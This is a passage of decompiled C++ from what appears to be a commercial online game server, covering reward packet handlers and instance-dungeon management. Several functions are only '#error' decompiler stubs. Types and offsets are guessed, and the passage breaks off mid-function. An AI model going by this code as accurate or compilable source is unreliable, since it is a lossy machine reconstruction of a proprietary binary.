"462750: undefined or illegal type '#325' (funcsize=39)" //----- (00462800) -------------------------------------------------------- #error "462800: undefined or illegal type '#325' (funcsize=51)" //----- (004628D0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(int upper) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); } //----- (00462920) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); } //----- (00462970) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); } //----- (004629B0) -------------------------------------------------------- #error "4629B0: undefined or illegal type '#325' (funcsize=85)" //----- (00462AF0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // edi@1 unsigned int v3; // eax@2 char *v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *((_DWORD *)v4 + 1) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *((_DWORD *)v4 + 2) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *((_DWORD *)v4 + 3) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); v4[16] = 0; HolyPromiseCenTransferManager::hpctm_Process(&hpctmanager, (PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *)&netcmd[1]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); } //----- (00462BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from) { void *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // eax@1 int v7; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)from; *((_DWORD *)v5 + 1) = *(_DWORD *)(from + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(from + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(from + 12); v5[16] = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); (*(void (__thiscall **)(void *, int, signed int))(*(_DWORD *)v3 + 1852))(v3, cen, 1); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27621; *(_DWORD *)(v6 + 2) = *(_DWORD *)from; *(_DWORD *)(v6 + 6) = *(_DWORD *)(from + 4); *(_DWORD *)(v6 + 10) = *(_DWORD *)(from + 8); *(_DWORD *)(v6 + 14) = *(_DWORD *)(from + 12); *(_DWORD *)(v6 + 18) = cen; *(_DWORD *)(v6 + 22) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom : Packet Too Long", 26); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); } //----- (00462D20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27586; *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); } //----- (00462E10) -------------------------------------------------------- #error "462E10: undefined or illegal type '#325' (funcsize=40)" //----- (00462ED0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27587; *((_WORD *)v3 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v3 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v3 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00462FC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 int v6; // eax@4 char *v7; // esi@5 ZoneBaseSession *v8; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v5 + 1) = 7272; *((_DWORD *)v5 + 1) = 0; *((_DWORD *)v5 + 2) = 0; if ( (unsigned __int8)(*(int (**)(void))(*((_DWORD *)v4 + 14434) + 16))() ) { *((_WORD *)v5 + 1) = 7276; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ : Packet Too Long", 12); } } else { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27582; *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); } //----- (00463120) -------------------------------------------------------- #error "463120: undefined or illegal type '#325' (funcsize=40)" //----- (004631E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck) { void *v2; // esi@1 __int64 v3; // qax@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)(pDBAck + 6) == 7272 ) { LODWORD(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(pDBAck + 8) + v3, (unsigned __int64)(*(_QWORD *)(pDBAck + 8) + v3) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v4 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v4 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v4 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00463310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer) { void *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)(transfer + 15); *((_DWORD *)v4 + 1) = *(_DWORD *)(transfer + 19); *((_DWORD *)v4 + 2) = *(_DWORD *)(transfer + 23); v5 = *(_DWORD *)(transfer + 27); v4[16] = 0; *((_DWORD *)v4 + 3) = v5; if ( !(unsigned __int8)(*(int (**)(void))(*((_DWORD *)v2 + 14434) + 16))() ) ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(v2, *(_DWORD *)(transfer + 11), transfer + 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); } //----- (00463400) -------------------------------------------------------- char __thiscall ORToken::operator__(ORToken *this, ORToken *nm) { return *(_DWORD *)&this->ort_Name[0] == *(_DWORD *)&nm->ort_Name[0] && *(_DWORD *)&this->ort_Name[4] == *(_DWORD *)&nm->ort_Name[4] && *(_DWORD *)&this->ort_Name[8] == *(_DWORD *)&nm->ort_Name[8] && *(_DWORD *)&this->ort_Name[12] == *(_DWORD *)&nm->ort_Name[12] && *(_DWORD *)&this->ort_Name[16] == *(_DWORD *)&nm->ort_Name[16]; } //----- (00463440) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index) { int v2; // edi@1 int v3; // edx@1 FieldOption::GuildTournamentMapStr **v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@3 v2 = this->fc_InstanceDungeon.number; v3 = 0; if ( v2 <= 0 ) { LABEL_10: result = 0; } else { v4 = this->fc_InstanceDungeon.attr; while ( 1 ) { result = (FieldOption::InstanceDungeonInfo *)*v4; if ( *v4 ) { if ( *(_DWORD *)&result->Argument.ort_Name[0] == *(_DWORD *)&Index->ort_Name[0] && *(_DWORD *)&result->Argument.ort_Name[4] == *(_DWORD *)&Index->ort_Name[4] && *(_DWORD *)&result->Argument.ort_Name[8] == *(_DWORD *)&Index->ort_Name[8] && *(_DWORD *)&result->Argument.ort_Name[12] == *(_DWORD *)&Index->ort_Name[12] && *(_DWORD *)&result->Argument.ort_Name[16] == *(_DWORD *)&Index->ort_Name[16] ) break; } ++v3; ++v4; if ( v3 >= v2 ) goto LABEL_10; } } return result; } //----- (004634A0) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName) { FieldContainer *v2; // ebx@1 int v3; // edi@1 FieldOption::GuildTournamentMapStr *v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@6 Name3 TargetName; // [sp+10h] [bp-10h]@3 v2 = this; v3 = 0; if ( this->fc_InstanceDungeon.number <= 0 ) { LABEL_6: result = 0; } else { while ( 1 ) { v4 = v2->fc_InstanceDungeon.attr[v3]; if ( v4 ) { *(_QWORD *)&TargetName.n3_name[4] = 0i64; *(_QWORD *)&TargetName.n3_name[0] = 0i64; strncpy(TargetName.n3_name, (const char *)&v4->StoneDir, 0xCu); if ( *(_QWORD *)&TargetName == *(_QWORD *)&pMapName->n3_name[0] ) { if ( *(_DWORD *)&TargetName.n3_name[8] == *(_DWORD *)&pMapName->n3_name[8] ) break; } } ++v3; if ( v3 >= v2->fc_InstanceDungeon.number ) goto LABEL_6; } result = (FieldOption::InstanceDungeonInfo *)v4; } return result; } //----- (00463550) -------------------------------------------------------- #error "463550: undefined or illegal type '#325' (funcsize=58)" //----- (00463630) -------------------------------------------------------- void __thiscall KickPlayer::_KickPlayer(KickPlayer *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)KickPlayer::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B3138: using guessed type int (__stdcall *KickPlayer___vftable_[2])(int, int, int distancesquar); //----- (00463640) -------------------------------------------------------- void __thiscall IsAnybody::_IsAnybody(IsAnybody *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&IsAnybody::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B313C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (00463650) -------------------------------------------------------- #error "463650: undefined or illegal type '#325' (funcsize=18)" //----- (00463680) -------------------------------------------------------- int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); v3 = this + 31; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_WORD *)(this + 64) = *(_WORD *)(a2 + 64); return result; } //----- (004636F0) -------------------------------------------------------- bool __thiscall MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index, INSTANCE_DUNGEON::CATEGORY Category) { MapClusterManager::ClusterManager *v4; // esi@1 signed int v5; // eax@1 char *v6; // ecx@1 int v8; // edi@5 void *v9; // eax@8 int v10; // eax@9 char v11; // al@12 int v12; // ecx@13 v4 = this; v5 = 0; v6 = (char *)this->Clusters; while ( *(_DWORD *)v6 ) { ++v5; v6 += 4; if ( v5 >= 10 ) return 0; } v8 = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v8 == -1 ) LOWORD(v8) = Category; else v4->baseclass_0.vfptr->l_AllocZ((List *)v4, v8); v9 = operator new(0x9018u); if ( v9 ) MapClusterManager::MapCluster::MapCluster((MapClusterManager::MapCluster *)v9, (char *)ClientMapName, Category); else v10 = 0; if ( (unsigned __int16)v8 < (signed int)v4->baseclass_0.l_MaxSize ) { v12 = (int)&v4->baseclass_0.l_Array[(unsigned __int16)v8]; if ( *(_DWORD *)v12 ) { v11 = 0; } else { *(_DWORD *)v12 = v10; v11 = 1; } } else { v11 = 0; } if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::ClusterManager::AddInstanceDungeonCluster : Cannot Add", Index); ShineExit("MapClusterManager::ClusterManager::AddInstanceDungeonCluster"); } return 1; } //----- (004637F0) -------------------------------------------------------- #error "4637F0: undefined or illegal type '#585' (funcsize=159)" //----- (00463A40) -------------------------------------------------------- #error "463A40: undefined or illegal type '#585' (funcsize=65)" //----- (00463B50) -------------------------------------------------------- #error "463B50: undefined or illegal type '#325' (funcsize=89)" //----- (00463CB0) -------------------------------------------------------- #error "463CB0: undefined or illegal type '#585' (funcsize=42)" //----- (00463D80) -------------------------------------------------------- bool __thiscall FieldMap::fm_Exist(void *this, unsigned int Flag) { void *v2; // esi@1 void *v3; // ecx@1 bool v4; // bl@1 IsAnybody aloc; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_Exist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_Exist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&aloc.baseclass_0); aloc.baseclass_0.vfptr = (AxialListIteratorVtbl *)&IsAnybody::_vftable_; aloc._Flag = Flag; aloc._Exist = 0; v3 = (void *)*((_DWORD *)v2 + 12); LOBYTE(v7) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&aloc, 1); v4 = aloc._Exist; LOBYTE(v7) = 0; aloc.baseclass_0.vfptr = (AxialListIteratorVtbl *)&IsAnybody::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&aloc); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_Exist"); return v4; } // 5B313C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (00463E60) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // edi@1 char *v3; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(&zonringpack_emptyinstancedungeon, 0, netcmd); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = netcmd->protocol; *(_DWORD *)(v3 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v3 + 6) = *(_DWORD *)&netcmd[3].protocol; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG"); } //----- (00463F40) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber) { DeleteInstanceDungeon Eraser; // [sp+0h] [bp-18h]@1 int v4; // [sp+14h] [bp-4h]@1 Eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&DeleteInstanceDungeon::_vftable_; Eraser._Category = Category; Eraser._RegisterNumber = RegisterNumber; v4 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Eraser); } // 5B329C: using guessed type int (__stdcall *DeleteInstanceDungeon_MapClusterManager__MapCluster____vftable_)(int ele, __int16 handle); //----- (00463FA0) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, int Index) { char *v2; // eax@1 char *v3; // esi@1 ZoneBaseSession *v4; // eax@3 int v5; // ecx@4 int v6; // eax@4 FieldOption::InstanceDungeonInfo *v7; // eax@4 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23549; v2[2] = LOBYTE(this->mc_Category); v3 = (char *)this + 72 * Index; *(_DWORD *)(v2 + 3) = *((_DWORD *)v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "MapClusterManager::MapCluster::mc_DeleteInstanceDungeon : Packet Too Long", 7); } v5 = *((_DWORD *)v3 + 3); v3[20] = 0; v3[52] = 0; v3[64] = 0; FieldMap::fm_KickAll(v5); v6 = VectorClass::VectorWithLength::vwl_GetLength(*((_DWORD *)v3 + 3)); v7 = FieldContainer::fc_GetInstanceDungeonInfoByMapName((FieldContainer *)&fieldlist, (Name3 *)v6); if ( v7 ) FieldMap::fm_DropFilm(*((_DWORD *)v3 + 3), v7->ScriptName); FieldMap::fm_ClearObject(*((void **)v3 + 3), 0x3B2u); *((_DWORD *)v3 + 4) = -1; } // 463CB0: using guessed type int __thiscall FieldMap__fm_KickAll(_DWORD); //----- (00464050) -------------------------------------------------------- void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber) { MapClusterManager::MapCluster *v2; // esi@1 unsigned int v3; // ecx@1 int v4; // edi@2 int v5; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterNamager::mc_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( LOWORD(v2->mc_MapNumber) ) { v4 = v2->mc_MapNumber; while ( 1 ) { if ( v2->mc_Pointer >= v4 ) v2->mc_Pointer = 0; v5 = v2->mc_Pointer; if ( v2->mc_Map[v5].RegisterNumber == RegisterNumber ) break; v2->mc_Pointer = v5 + 1; ++v3; if ( v3 >= LOWORD(v2->mc_MapNumber) ) goto LABEL_9; } MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v2, v2->mc_Pointer); } LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MapClusterNamager::mc_DeleteInstanceDungeon"); } //----- (00464140) -------------------------------------------------------- char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle) { MapClusterManager::MapCluster *v3; // edi@1 signed int v4; // eax@1 INSTANCE_DUNGEON::CATEGORY v5; // ecx@1 int v6; // ebp@3 int v7; // esi@4 bool v8; // zf@6 char v9; // al@6 char *v10; // eax@8 ZoneBaseSession *v11; // eax@10 unsigned int v12; // eax@14 unsigned int v13; // eax@16 unsigned int v14; // eax@18 char *v15; // eax@18 ZoneBaseSession *v16; // eax@20 unsigned int v17; // eax@22 unsigned int v18; // eax@25 unsigned int v19; // eax@28 unsigned int v20; // eax@31 const char *v21; // eax@32 void *v22; // ecx@33 int v23; // eax@33 unsigned int v24; // eax@36 const char *v25; // eax@37 void *v26; // ecx@38 int v27; // eax@38 char *v29; // [sp-10h] [bp-3Ch]@2 int v30; // [sp-Ch] [bp-38h]@0 int v31; // [sp-8h] [bp-34h]@0 AxialListWall alw; // [sp+Ch] [bp-20h]@33 AxialListWall thisa; // [sp+14h] [bp-18h]@38 int v34; // [sp+28h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MapClusterManager::MapCluster::mc_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::MapCluster::mc_Routine"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v3->mc_Category; v34 = 0; if ( v5 == -1 ) { v29 = "MapClusterManager::MapCluster::mc_Routine"; goto LABEL_43; } v6 = 0; if ( v3->mc_MapNumber <= 0 ) goto LABEL_42; v7 = (int)&v3->mc_Map[0].TimeToDestroy.m_TickInterval; do { if ( *(_DWORD *)(v7 - 12) == -1 ) goto LABEL_40; v8 = FieldMap::fm_Exist(*(void **)(v7 - 16), 4u) == 0; v9 = *(_BYTE *)(v7 - 8); if ( !v8 ) { if ( v9 == 1 ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23549; v10[2] = v3->mc_Category; *(_DWORD *)(v10 + 3) = *(_DWORD *)(v7 - 12); if ( 